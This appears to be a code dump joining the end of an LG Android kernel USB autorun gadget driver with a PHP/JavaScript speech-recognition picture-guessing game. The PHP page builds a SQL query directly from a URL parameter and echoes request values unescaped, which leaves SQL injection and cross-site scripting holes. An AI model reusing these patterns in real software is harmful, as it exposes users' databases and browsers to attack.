LINFO(curlun, "unable to find file size: %s\n", filename);
rc = (int) size;
goto out;
}
num_sectors = size >> 9; /* File size in 512-byte sectors */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if(fsg->autorun_enable) {
min_sectors = 1;
num_sectors &= ~3; // Reduce to a multiple of 2048
//min_sectors = 300*4; // Smallest track is 300 frames
min_sectors = 300*2;
if (num_sectors >= 256*60*75*4) {
num_sectors = (256*60*75 - 1) * 4;
LINFO(curlun, "file too big: %s\n", filename);
ad_info("file too big: %s\n", filename);
LINFO(curlun, "using only first %d blocks\n",
(int) num_sectors);
}
if (num_sectors < min_sectors) {
LINFO(curlun, "file too small: %s\n", filename);
ad_info("file too small: %s\n", filename);
}
} else {
if (num_sectors == 0) {
LINFO(curlun, "file too small: %s\n", filename);
rc = -ETOOSMALL;
goto out;
}
}
#else
if (num_sectors == 0) {
LINFO(curlun, "file too small: %s\n", filename);
rc = -ETOOSMALL;
goto out;
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
get_file(filp);
curlun->ro = ro;
curlun->filp = filp;
curlun->file_length = size;
curlun->num_sectors = num_sectors;
LDBG(curlun, "open backing file: %s size: %lld num_sectors: %lld\n",
filename, size, num_sectors);
rc = 0;
/* LGE_CHANGE_S [hyunhui.park@lge.com] 2010-09-11, For sync sdcard's contents */
pr_info("%s: CDR active.. fsync and invalidate..\n", __func__);
fsync_sub(curlun);
invalidate_sub(curlun);
/* LGE_CHANGE_E [hyunhui.park@lge.com] 2010-09-11 */
adjust_wake_lock(fsg);
out:
filp_close(filp, current->files);
return rc;
}
static void close_backing_file(struct fsg_dev *fsg, struct lun *curlun)
{
if (curlun->filp) {
int rc;
/*
* XXX: San: Ugly hack here added to ensure that
* our pages get synced to disk.
* Also drop caches here just to be extra-safe
*/
rc = vfs_fsync(curlun->filp, 1);
if (rc < 0)
printk(KERN_ERR "ums: Error syncing data (%d)\n", rc);
/* drop_pagecache and drop_slab are no longer available */
/* drop_pagecache(); */
/* drop_slab(); */
LDBG(curlun, "close backing file\n");
fput(curlun->filp);
curlun->filp = NULL;
adjust_wake_lock(fsg);
}
}
static void close_all_backing_files(struct fsg_dev *fsg)
{
int i;
for (i = 0; i < fsg->nluns; ++i)
close_backing_file(fsg, &fsg->luns[i]);
}
static ssize_t show_file(struct device *dev, struct device_attribute *attr,
char *buf)
{
struct lun *curlun = dev_to_lun(dev);
struct fsg_dev *fsg = dev_get_drvdata(dev);
char *p;
ssize_t rc;
down_read(&fsg->filesem);
if (backing_file_is_open(curlun)) { /* Get the complete pathname */
p = d_path(&curlun->filp->f_path, buf, PAGE_SIZE - 1);
if (IS_ERR(p))
rc = PTR_ERR(p);
else {
rc = strlen(p);
memmove(buf, p, rc);
buf[rc] = '\n'; /* Add a newline */
buf[++rc] = 0;
}
} else { /* No file, return 0 bytes */
*buf = 0;
rc = 0;
}
up_read(&fsg->filesem);
return rc;
}
static ssize_t store_file(struct device *dev, struct device_attribute *attr,
const char *buf, size_t count)
{
struct lun *curlun = dev_to_lun(dev);
struct fsg_dev *fsg = dev_get_drvdata(dev);
int rc = 0;
#ifdef DEBUG
DBG(fsg, "store_file: \"%s\"\n", buf);
#else
pr_info("%s: store_file: \"%s\"\n", __func__, buf);
#endif
#if 0
/* disabled because we need to allow closing the backing file if the media was removed */
if (curlun->prevent_medium_removal && backing_file_is_open(curlun)) {
LDBG(curlun, "eject attempt prevented\n");
return -EBUSY; /* "Door is locked" */
}
#endif
/* Remove a trailing newline */
if (count > 0 && buf[count-1] == '\n')
((char *) buf)[count-1] = 0;
/* Eject current medium */
down_write(&fsg->filesem);
if (backing_file_is_open(curlun)) {
close_backing_file(fsg, curlun);
curlun->unit_attention_data = SS_MEDIUM_NOT_PRESENT;
}
/* Load new medium */
if (count > 0 && buf[0]) {
rc = open_backing_file(fsg, curlun, buf);
if (rc == 0)
curlun->unit_attention_data =
SS_NOT_READY_TO_READY_TRANSITION;
}
up_write(&fsg->filesem);
return (rc < 0 ? rc : count);
}
static DEVICE_ATTR(file, 0644, show_file, store_file);
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#if 0
static ssize_t store_community(struct device *dev,
struct device_attribute *attr, const char *buf, size_t count)
{
struct fsg_dev *fsg = dev_get_drvdata(dev);
unsigned long tmp;
int ret = 0;
down_write(&fsg->filesem);
if (count > 0 && buf[0]) {
/* NOTE : base of converting from string to long is 16(hex) */
ret = strict_strtoul(buf, 16, &tmp);
if (ret) {
up_write(&fsg->filesem);
return ret;
}
autorun_user_mode = (unsigned int)tmp;
pr_info("%s: set user_mode is %d\n",__func__ ,autorun_user_mode);
}
up_write(&fsg->filesem);
return count;
}
//static DEVICE_ATTR(community, 0666, show_community, store_community);
static DEVICE_ATTR(community, 0666, NULL, store_community);
#endif
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/*-------------------------------------------------------------------------*/
static void fsg_release(struct kref *ref)
{
struct fsg_dev *fsg = container_of(ref, struct fsg_dev, ref);
kfree(fsg->luns);
kfree(fsg);
}
static void lun_release(struct device *dev)
{
struct fsg_dev *fsg = dev_get_drvdata(dev);
kref_put(&fsg->ref, fsg_release);
}
/*-------------------------------------------------------------------------*/
static int fsg_alloc(void)
{
struct fsg_dev *fsg;
fsg = kzalloc(sizeof *fsg, GFP_KERNEL);
if (!fsg)
return -ENOMEM;
spin_lock_init(&fsg->lock);
init_rwsem(&fsg->filesem);
kref_init(&fsg->ref);
init_completion(&fsg->thread_notifier);
the_fsg = fsg;
return 0;
}
static ssize_t print_switch_name(struct switch_dev *sdev, char *buf)
{
return sprintf(buf, "%s\n", DRIVER_NAME);
}
static ssize_t print_switch_state(struct switch_dev *sdev, char *buf)
{
struct fsg_dev *fsg = container_of(sdev, struct fsg_dev, sdev);
return sprintf(buf, "%s\n", (fsg->config ? "online" : "offline"));
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static ssize_t print_switch_name_autorun(struct switch_dev *sdev, char *buf)
{
return sprintf(buf, "%s\n", DRIVER_NAME_AUTORUN);
}
static ssize_t print_switch_state_autorun(struct switch_dev *sdev, char *buf)
{
pr_info("%s : send Uevent - %s\n", __func__, chg_mode[sdev->state]);
return sprintf(buf, "%s\n", chg_mode[sdev->state]);
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
static void
fsg_function_unbind(struct usb_configuration *c, struct usb_function *f)
{
struct fsg_dev *fsg = func_to_dev(f);
int i;
struct lun *curlun;
DBG(fsg, "fsg_function_unbind\n");
clear_bit(REGISTERED, &fsg->atomic_bitflags);
/* Unregister the sysfs attribute files and the LUNs */
for (i = 0; i < fsg->nluns; ++i) {
curlun = &fsg->luns[i];
if (curlun->registered) {
device_remove_file(&curlun->dev, &dev_attr_file);
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
/* device_remove_file(&curlun->dev, &dev_attr_community); */
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
device_unregister(&curlun->dev);
curlun->registered = 0;
}
}
/* If the thread isn't already dead, tell it to exit now */
if (fsg->state != FSG_STATE_TERMINATED) {
raise_exception(fsg, FSG_STATE_EXIT);
wait_for_completion(&fsg->thread_notifier);
/* The cleanup routine waits for this completion also */
complete(&fsg->thread_notifier);
}
/* Free the data buffers */
for (i = 0; i < NUM_BUFFERS; ++i) {
kfree(fsg->buffhds[i].buf);
fsg->buffhds[i].buf = NULL;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable)
switch_dev_unregister(&fsg->autorun_sdev);
else
switch_dev_unregister(&fsg->sdev);
#else
switch_dev_unregister(&fsg->sdev);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
static int
fsg_function_bind(struct usb_configuration *c, struct usb_function *f)
{
struct usb_composite_dev *cdev = c->cdev;
struct fsg_dev *fsg = func_to_dev(f);
int rc;
int i;
int id;
struct lun *curlun;
struct usb_ep *ep;
char *pathbuf, *p;
#if defined(CONFIG_LGE_UMS_WORKAROUND_PATCH)
int cnt = 0;
#endif
fsg->cdev = cdev;
DBG(fsg, "fsg_function_bind\n");
#if defined(CONFIG_LGE_UMS_WORKAROUND_PATCH)
/* LG_FW khlee 2010.01.20 :
* After composite switching, Mass driver is not working.
* to prevent the binding until mass thread is killed. */
while(fsg->thread_task != NULL)
{
msleep(10);
pr_err("%s :remain kernel thread in fsg binding: %d\n",
__func__, (int)fsg->thread_task);
if( cnt++ > 20)
break;
}
/*LGE_CHANGE_E[kyuhyung.lee@lge.com - #endif*/
#endif
dev_attr_file.attr.mode = 0664;
/* Find out how many LUNs there should be */
pr_info("0[%s]: %d << fsg->nluns\n",__func__,fsg->nluns);
i = fsg->nluns;
if (i == 0)
i = 1;
if (i > MAX_LUNS) {
ERROR(fsg, "invalid number of LUNs: %d\n", i);
rc = -EINVAL;
goto out;
}
/* Create the LUNs, open their backing files, and register the
* LUN devices in sysfs. */
fsg->luns = kzalloc(i * sizeof(struct lun), GFP_KERNEL);
if (!fsg->luns) {
rc = -ENOMEM;
goto out;
}
fsg->nluns = i;
for (i = 0; i < fsg->nluns; ++i) {
curlun = &fsg->luns[i];
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable)
curlun->ro = 1; /* cdrom : read only */
else
curlun->ro = 0; /* mass storage : read/write */
#else
curlun->ro = 0;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
curlun->dev.release = lun_release;
/* use "usb_mass_storage" platform device as parent if available */
if (fsg->pdev)
curlun->dev.parent = &fsg->pdev->dev;
else
curlun->dev.parent = &cdev->gadget->dev;
dev_set_drvdata(&curlun->dev, fsg);
/* [yk.kim@lge.com] 2010-12-31, lun0:eMMC, lun1:SD-card, lun2:CD-ROM */
dev_set_name(&curlun->dev,"lun%d", 2);
rc = device_register(&curlun->dev);
if (rc != 0) {
INFO(fsg, "failed to register LUN%d: %d\n", i, rc);
goto out;
}
rc = device_create_file(&curlun->dev, &dev_attr_file);
if (rc != 0) {
ERROR(fsg, "device_create_file failed: %d\n", rc);
device_unregister(&curlun->dev);
goto out;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#if 0
rc = device_create_file(&curlun->dev, &dev_attr_community);
if (rc != 0) {
ERROR(fsg, "device_create_community failed: %d\n", rc);
device_remove_file(&curlun->dev, &dev_attr_file);
device_unregister(&curlun->dev);
goto out;
}
#endif
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
curlun->registered = 1;
kref_get(&fsg->ref);
}
/* allocate interface ID(s) */
id = usb_interface_id(c, f);
if (id < 0)
return id;
intf_desc.bInterfaceNumber = id;
ep = usb_ep_autoconfig(cdev->gadget, &fs_bulk_in_desc);
if (!ep)
goto autoconf_fail;
ep->driver_data = fsg; /* claim the endpoint */
fsg->bulk_in = ep;
ep = usb_ep_autoconfig(cdev->gadget, &fs_bulk_out_desc);
if (!ep)
goto autoconf_fail;
ep->driver_data = fsg; /* claim the endpoint */
fsg->bulk_out = ep;
rc = -ENOMEM;
if (gadget_is_dualspeed(cdev->gadget)) {
/* Assume endpoint addresses are the same for both speeds */
hs_bulk_in_desc.bEndpointAddress =
fs_bulk_in_desc.bEndpointAddress;
hs_bulk_out_desc.bEndpointAddress =
fs_bulk_out_desc.bEndpointAddress;
f->hs_descriptors = hs_function;
}
/* Allocate the data buffers */
for (i = 0; i < NUM_BUFFERS; ++i) {
struct fsg_buffhd *bh = &fsg->buffhds[i];
/* Allocate for the bulk-in endpoint. We assume that
* the buffer will also work with the bulk-out (and
* interrupt-in) endpoint. */
bh->buf = kmalloc(fsg->buf_size, GFP_KERNEL);
if (!bh->buf)
goto out;
bh->next = bh + 1;
}
fsg->buffhds[NUM_BUFFERS - 1].next = &fsg->buffhds[0];
fsg->thread_task = kthread_create(fsg_main_thread, fsg,
shortname);
if (IS_ERR(fsg->thread_task)) {
rc = PTR_ERR(fsg->thread_task);
ERROR(fsg, "kthread_create failed: %d\n", rc);
goto out;
}
INFO(fsg, "Number of LUNs=%d\n", fsg->nluns);
pathbuf = kmalloc(PATH_MAX, GFP_KERNEL);
for (i = 0; i < fsg->nluns; ++i) {
curlun = &fsg->luns[i];
if (backing_file_is_open(curlun)) {
p = NULL;
if (pathbuf) {
p = d_path(&curlun->filp->f_path,
pathbuf, PATH_MAX);
if (IS_ERR(p))
p = NULL;
}
LINFO(curlun, "ro=%d, file: %s\n",
curlun->ro, (p ? p : "(error)"));
}
}
kfree(pathbuf);
set_bit(REGISTERED, &fsg->atomic_bitflags);
/* Tell the thread to start working */
wake_up_process(fsg->thread_task);
return 0;
autoconf_fail:
ERROR(fsg, "unable to autoconfigure all endpoints\n");
rc = -ENOTSUPP;
out:
DBG(fsg, "fsg_function_bind failed: %d\n", rc);
fsg->state = FSG_STATE_TERMINATED; /* The thread is dead */
fsg_function_unbind(c, f);
close_all_backing_files(fsg);
return rc;
}
static int fsg_function_set_alt(struct usb_function *f,
unsigned intf, unsigned alt)
{
struct fsg_dev *fsg = func_to_dev(f);
struct usb_composite_dev *cdev = fsg->cdev;
const struct usb_endpoint_descriptor *d;
int rc;
DBG(fsg, "fsg_function_set_alt intf: %d alt: %d\n", intf, alt);
/* Enable the endpoints */
d = ep_desc(cdev->gadget, &fs_bulk_in_desc, &hs_bulk_in_desc);
rc = enable_endpoint(fsg, fsg->bulk_in, d);
if (rc)
return rc;
fsg->bulk_in_enabled = 1;
d = ep_desc(cdev->gadget, &fs_bulk_out_desc, &hs_bulk_out_desc);
rc = enable_endpoint(fsg, fsg->bulk_out, d);
if (rc) {
usb_ep_disable(fsg->bulk_in);
fsg->bulk_in_enabled = 0;
return rc;
}
fsg->bulk_out_enabled = 1;
fsg->bulk_out_maxpacket = le16_to_cpu(d->wMaxPacketSize);
fsg->new_config = 1;
raise_exception(fsg, FSG_STATE_CONFIG_CHANGE);
return 0;
}
static void fsg_function_disable(struct usb_function *f)
{
struct fsg_dev *fsg = func_to_dev(f);
DBG(fsg, "fsg_function_disable\n");
/* Disable the endpoints */
if (fsg->bulk_in_enabled) {
DBG(fsg, "usb_ep_disable %s\n", fsg->bulk_in->name);
usb_ep_disable(fsg->bulk_in);
fsg->bulk_in_enabled = 0;
}
if (fsg->bulk_out_enabled) {
DBG(fsg, "usb_ep_disable %s\n", fsg->bulk_out->name);
usb_ep_disable(fsg->bulk_out);
fsg->bulk_out_enabled = 0;
}
fsg->new_config = 0;
raise_exception(fsg, FSG_STATE_CONFIG_CHANGE);
}
static int fsg_probe(struct platform_device *pdev)
{
struct usb_mass_storage_platform_data *pdata = pdev->dev.platform_data;
struct fsg_dev *fsg = the_fsg;
fsg->pdev = pdev;
printk(KERN_INFO "fsg_probe pdata: %p\n", pdata);
if (pdata) {
if (pdata->vendor)
fsg->vendor = pdata->vendor;
if (pdata->product)
fsg->product = pdata->product;
if (pdata->release)
fsg->release = pdata->release;
fsg->nluns = pdata->nluns;
}
return 0;
}
static struct platform_driver fsg_platform_driver = {
.driver = { .name = "usb_autorun", },
.probe = fsg_probe,
};
int usb_autorun_bind_config(struct usb_configuration *c)
{
int rc;
struct fsg_dev *fsg;
//yk.kim@lge.com //TEMP
int nluns= 1;
int autorun_enable =1;
printk(KERN_INFO "usb_autorun_bind_config\n");
rc = fsg_alloc();
if (rc)
return rc;
fsg = the_fsg;
fsg->nluns = nluns;
spin_lock_init(&fsg->lock);
init_rwsem(&fsg->filesem);
kref_init(&fsg->ref);
init_completion(&fsg->thread_notifier);
the_fsg->buf_size = BULK_BUFFER_SIZE;
/* LGE_CHANGES_S [younsuk.song@lge.com] 2010-06-16, Add Vendor/Product name */
#ifdef CONFIG_LGE_USB_GADGET_DRIVER
the_fsg->vendor= LGE_UMS_VENDOR;
the_fsg->product= LGE_UMS_PRODUCT;
#endif
/* LGE_CHANGES_E [younsuk.song@lge.com] 2010-06-16 */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
the_fsg->autorun_enable = autorun_enable;
if (the_fsg->autorun_enable) {
the_fsg->autorun_sdev.name = DRIVER_NAME_AUTORUN;
the_fsg->autorun_sdev.print_name = print_switch_name_autorun;
the_fsg->autorun_sdev.print_state = print_switch_state_autorun;
rc = switch_dev_register(&the_fsg->autorun_sdev);
if (rc < 0)
goto err_switch_dev_register;
} else {
the_fsg->sdev.name = DRIVER_NAME;
the_fsg->sdev.print_name = print_switch_name;
the_fsg->sdev.print_state = print_switch_state;
rc = switch_dev_register(&the_fsg->sdev);
if (rc < 0)
goto err_switch_dev_register;
}
#endif
/* the_fsg->sdev.name = DRIVER_NAME_AUTORUN;
the_fsg->sdev.print_name = print_switch_name;
the_fsg->sdev.print_state = print_switch_state;
*/
wake_lock_init(&the_fsg->wake_lock, WAKE_LOCK_SUSPEND,
"usb_autorun");
fsg->cdev = c->cdev;
fsg->function.name = shortname;
fsg->function.descriptors = fs_function;
fsg->function.bind = fsg_function_bind;
fsg->function.unbind = fsg_function_unbind;
fsg->function.setup = fsg_function_setup;
fsg->function.set_alt = fsg_function_set_alt;
fsg->function.disable = fsg_function_disable;
#ifdef CONFIG_LGE_USB_GADGET_FUNC_BIND_ONLY_INIT
/* start disabled */
fsg->function.disabled = 1;
#endif
rc = usb_add_function(c, &fsg->function);
if (rc != 0)
goto err_usb_add_function;
return 0;
err_usb_add_function:
wake_lock_destroy(&the_fsg->wake_lock);
platform_driver_unregister(&fsg_platform_driver);
err_platform_driver_register:
switch_dev_unregister(&the_fsg->sdev);
err_switch_dev_register:
kref_put(&the_fsg->ref, fsg_release);
return rc;
}
static struct android_usb_function auto_run_function = {
.name = "usb_autorun",
.bind_config = usb_autorun_bind_config,
};
static int __init init(void)
{
int rc;
printk(KERN_INFO "usb_autorun init\n");
rc = platform_driver_register(&fsg_platform_driver);
if (rc != 0)
return rc;
android_register_function(&auto_run_function);
return 0;
}
module_init(init);
|
playfulgod/Kernel_AS85-LG-Ignite
|
drivers/usb/gadget/f_auto_run.c
|
C
|
gpl-2.0
| 116,177
|
<?php require "dbconfig.php";
if(isset($_GET["puntajecant"])){
$puntajeget = $_GET["puntajecant"];
}else{
$puntajeget=0;
} ?>
<!DOCTYPE html>
<meta charset="utf-8">
<title>¡Veo veo!</title>
<!-- Bootstrap core CSS -->
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
<style>
* {
font-family: Verdana, Arial, sans-serif;
}
body{
background-color: #81BEF7;
}
a:link {
color:#000;
text-decoration: none;
}
a:visited {
color:#000;
}
a:hover {
color:#33F;
}
.button {
background: -webkit-linear-gradient(top,#008dfd 0,#0370ea 100%);
border: 1px solid #076bd2;
border-radius: 3px;
color: #fff;
display: none;
font-size: 13px;
font-weight: bold;
line-height: 1.3;
padding: 8px 25px;
text-align: center;
text-shadow: 1px 1px 1px #076bd2;
letter-spacing: normal;
}
.center {
padding: 10px;
text-align: center;
}
.final {
color: black;
padding-right: 3px;
}
.interim {
color: gray;
}
.info {
font-size: 14px;
text-align: center;
color: #777;
display: none;
}
.right {
float: right;
}
.sidebyside {
display: inline-block;
width: 45%;
min-height: 40px;
text-align: left;
vertical-align: top;
}
#headline {
font-size: 40px;
font-weight: 300;
color: #FFFFFF;
}
#info {
font-size: 20px;
text-align: center;
color: #777;
visibility: hidden;
}
#results {
font-size: 14px;
font-weight: bold;
border: 1px solid #ddd;
padding: 15px;
text-align: left;
min-height: 150px;
}
#start_button {
border: 0;
background-color:transparent;
padding: 0;
}
#info p {}
</style>
<div class="container-fluid">
<h1 class="center" id="headline" style="padding:4px;margin:4px">¡Veo veo!</h1>
<div class="clear"></div>
<div id="correcto" style="display:none" align="center" > <h1 class="text-success">CORRECTO!!</h1></div>
<div id="incorrecto" style="display:none" align="center" > <h4 class="text-danger">Incorrecto!!<br><small>Intente de nuevo</small></h4></div>
<div class="row" align="center" >
<?php
if(isset($_GET["idImagen"])){
$a=$_GET["idImagen"];
} else {
$a=1;
}
$query = "SELECT * FROM imagenes where id = $a";
$resp = mysql_query($query);
while ( $row = mysql_fetch_array($resp)) {
$imagen = $row[1];
echo "<img src='".$row[2]."' target='_blank' class='img-reponsive' style='max-width:100%; heigth:auto;'>";
}
?>
</div>
<div id="results" style="display:none;" >
<span id="final_span" class="final"></span>
<span id="interim_span" class="interim"></span>
<p>
</div>
<div class="center">
<!--<div class="sidebyside" style="text-align:right">
<button id="copy_button" class="button" onclick="copyButton()">
Copy and Paste</button>
<div id="copy_info" class="info">
Press Control-C to copy text.<br>(Command-C on Mac.)
</div>
</div>
<div class="sidebyside">
<button id="email_button" class="button" onclick="emailButton()">
Create Email</button>
<div id="email_info" class="info">
Text sent to default email application.<br>
(See chrome://settings/handlers to change.)
</div>
</div>-->
<br>
<div class="btn btn-success">
<button id="start_button" onclick="startButton(event)">
<img id="start_img" src="mic.gif" alt="Start"></button>
</div>
<input id="resultado">
</div>
<div class="col-md-12" style="font-size:15px; color:#FFF" align="center"> Nivel: <?php echo $puntajeget; ?></div>
<div class="center">
<form action="main.php" method="get">
<?php
$query2 = "SELECT count(*) FROM imagenes ";
$resp2 = mysql_query($query2);
$max = mysql_fetch_array($resp2);
$i=$a+1;
if ($i>$max[0]) {
$i=1;
}
?>
<!-- <button name="idImagen" type="submit" class="btn btn-primary" value="<?php echo $i ?>">Cambiar</button></a> -->
</div>
<input id="puntajecant" type="hidden" name="puntajecant" value="<?php echo $puntajeget; ?>">
<input id="imagen" type="hidden" name="imagen" value="<?php echo $a ;?>">
</form><div id="div_language" align="center">
<br>
Idioma:
<br><br>
<select id="select_language" onchange="updateCountry()"></select>
<select id="select_dialect"></select>
<br><br><br>
</div>
</div>
<div id="info" >
<p id="info_start">Pulsa el micrófono para hablar :)</p>
<p id="info_speak_now">Habla ahora.</p>
<p id="info_no_speech">No se detecto voz, revisar la
<a href="//support.google.com/chrome/bin/answer.py?hl=en&answer=1407892">
configuración del micrófono</a>.</p>
<p id="info_no_microphone" style="display:none">
No se encontró micrófono, revisar que el
<a href="//support.google.com/chrome/bin/answer.py?hl=en&answer=1407892">
micrófono</a> este configurado correctamente.</p>
<p id="info_allow">Cliquear "Permitir" para habilitar el micrófono.</p>
<p id="info_denied">El micrófono tiene permiso denegado.</p>
<p id="info_blocked">El permiso para utilizar el micrófono esta bloqueado. Para cambiarlo ir a chrome://settings/contentExceptions#media-stream</p>
<p id="info_upgrade">Web Speech API no soportada por este navegador.
Actualizar a <a href="//www.google.com/chrome">Chrome</a>
version 25 o superior.</p>
</div>
<script>
var langs =
[['Afrikaans', ['af-ZA']],
['Bahasa Indonesia',['id-ID']],
['Bahasa Melayu', ['ms-MY']],
['Català', ['ca-ES']],
['Čeština', ['cs-CZ']],
['Deutsch', ['de-DE']],
['English', ['en-AU', 'Australia'],
['en-CA', 'Canada'],
['en-IN', 'India'],
['en-NZ', 'New Zealand'],
['en-ZA', 'South Africa'],
['en-GB', 'United Kingdom'],
['en-US', 'United States']],
['Español', ['es-AR', 'Argentina'],
['es-BO', 'Bolivia'],
['es-CL', 'Chile'],
['es-CO', 'Colombia'],
['es-CR', 'Costa Rica'],
['es-EC', 'Ecuador'],
['es-SV', 'El Salvador'],
['es-ES', 'España'],
['es-US', 'Estados Unidos'],
['es-GT', 'Guatemala'],
['es-HN', 'Honduras'],
['es-MX', 'México'],
['es-NI', 'Nicaragua'],
['es-PA', 'Panamá'],
['es-PY', 'Paraguay'],
['es-PE', 'Perú'],
['es-PR', 'Puerto Rico'],
['es-DO', 'República Dominicana'],
['es-UY', 'Uruguay'],
['es-VE', 'Venezuela']],
['Euskara', ['eu-ES']],
['Français', ['fr-FR']],
['Galego', ['gl-ES']],
['Hrvatski', ['hr_HR']],
['IsiZulu', ['zu-ZA']],
['Íslenska', ['is-IS']],
['Italiano', ['it-IT', 'Italia'],
['it-CH', 'Svizzera']],
['Magyar', ['hu-HU']],
['Nederlands', ['nl-NL']],
['Norsk bokmål', ['nb-NO']],
['Polski', ['pl-PL']],
['Português', ['pt-BR', 'Brasil'],
['pt-PT', 'Portugal']],
['Română', ['ro-RO']],
['Slovenčina', ['sk-SK']],
['Suomi', ['fi-FI']],
['Svenska', ['sv-SE']],
['Türkçe', ['tr-TR']],
['български', ['bg-BG']],
['Pусский', ['ru-RU']],
['Српски', ['sr-RS']],
['한국어', ['ko-KR']],
['中文', ['cmn-Hans-CN', '普通话 (中国大陆)'],
['cmn-Hans-HK', '普通话 (香港)'],
['cmn-Hant-TW', '中文 (台灣)'],
['yue-Hant-HK', '粵語 (香港)']],
['日本語', ['ja-JP']],
['Lingua latīna', ['la']]];
var puntaje=0;
for (var i = 0; i < langs.length; i++) {
select_language.options[i] = new Option(langs[i][0], i);
}
select_language.selectedIndex = 7;
updateCountry();
select_dialect.selectedIndex = 0;
showInfo('info_start');
function updateCountry() {
for (var i = select_dialect.options.length - 1; i >= 0; i--) {
select_dialect.remove(i);
}
var list = langs[select_language.selectedIndex];
for (var i = 1; i < list.length; i++) {
select_dialect.options.add(new Option(list[i][1], list[i][0]));
}
select_dialect.style.visibility = list[1].length == 1 ? 'hidden' : 'visible';
}
var create_email = false;
var final_transcript = '';
var recognizing = false;
var ignore_onend;
var start_timestamp;
if (!('webkitSpeechRecognition' in window)) {
upgrade();
} else {
start_button.style.display = 'inline-block';
var recognition = new webkitSpeechRecognition();
recognition.continuous = true;
recognition.interimResults = true;
recognition.onstart = function() {
recognizing = true;
showInfo('info_speak_now');
start_img.src = 'mic-animate.gif';
};
recognition.onerror = function(event) {
if (event.error == 'no-speech') {
start_img.src = 'mic.gif';
showInfo('info_no_speech');
ignore_onend = true;
}
if (event.error == 'audio-capture') {
start_img.src = 'mic.gif';
showInfo('info_no_microphone');
ignore_onend = true;
}
if (event.error == 'not-allowed') {
if (event.timeStamp - start_timestamp < 100) {
showInfo('info_blocked');
} else {
showInfo('info_denied');
}
ignore_onend = true;
}
};
recognition.onend = function() {
recognizing = false;
comparar();
if (ignore_onend) {
return;
}
start_img.src = 'mic.gif';
if (!final_transcript) {
showInfo('info_start');
return;
}
showInfo('');
if (window.getSelection) {
window.getSelection().removeAllRanges();
var range = document.createRange();
range.selectNode(document.getElementById('final_span'));
window.getSelection().addRange(range);
}
if (create_email) {
create_email = false;
createEmail();
}
};
recognition.onresult = function(event) {
var interim_transcript = '';
for (var i = event.resultIndex; i < event.results.length; ++i) {
if (event.results[i].isFinal) {
final_transcript += event.results[i][0].transcript;
} else {
interim_transcript += event.results[i][0].transcript;
}
}
final_transcript = capitalize(final_transcript);
final_span.innerHTML = linebreak(final_transcript);
interim_span.innerHTML = linebreak(interim_transcript);
document.getElementById("resultado").value = linebreak(final_transcript);
if (final_transcript || interim_transcript) {
showButtons('inline-block');
}
};
}
function upgrade() {
start_button.style.visibility = 'hidden';
showInfo('info_upgrade');
}
var two_line = /\n\n/g;
var one_line = /\n/g;
function linebreak(s) {
return s.replace(two_line, '<p></p>').replace(one_line, '<br>');
}
var first_char = /\S/;
function capitalize(s) {
return s.replace(first_char, function(m) { return m.toUpperCase(); });
}
/*function createEmail() {
var n = final_transcript.indexOf('\n');
if (n < 0 || n >= 80) {
n = 40 + final_transcript.substring(40).indexOf(' ');
}
var subject = encodeURI(final_transcript.substring(0, n));
var body = encodeURI(final_transcript.substring(n + 1));
window.location.href = 'mailto:?subject=' + subject + '&body=' + body;
}
function copyButton() {
if (recognizing) {
recognizing = false;
recognition.stop();
alert("HOLA1")
}
copy_button.style.display = 'none';
copy_info.style.display = 'inline-block';
showInfo('');
}
function emailButton() {
if (recognizing) {
create_email = true;
recognizing = false;
recognition.stop();
alert( "HOLA3")
} else {
createEmail();
}
email_button.style.display = 'none';
email_info.style.display = 'inline-block';
showInfo('');
}*/
function startButton(event) {
if (recognizing) {
recognition.stop();
return;
}
final_transcript = '';
recognition.lang = select_dialect.value;
recognition.start();
ignore_onend = false;
final_span.innerHTML = '';
interim_span.innerHTML = '';
start_img.src = 'mic-slash.gif';
showInfo('info_allow');
showButtons('none');
start_timestamp = event.timeStamp;
}
function showInfo(s) {
if (s) {
for (var child = info.firstChild; child; child = child.nextSibling) {
if (child.style) {
child.style.display = child.id == s ? 'inline' : 'none';
}
}
info.style.visibility = 'visible';
} else {
info.style.visibility = 'hidden';
}
}
function comparar(){
var imagen = "<?php echo $imagen; ?>";
var palabra = document.getElementById("resultado").value;
palabra = palabra.toLowerCase();
imagen = imagen.toLowerCase();
if(imagen == palabra){
puntajeant= document.getElementById("puntajecant");
puntajenuevo=parseInt(puntajeant.value) + 1;
puntajeant.value=puntajenuevo;
document.getElementById("incorrecto").style.display="none"
cambiar();
}
else{
document.getElementById("incorrecto").style.display=""
document.getElementById("resultado").value=""
}
console.log(puntaje);
}
var current_style;
function showButtons(style) {
if (style == current_style) {
return;
}
current_style = style;
/* copy_button.style.display = style;
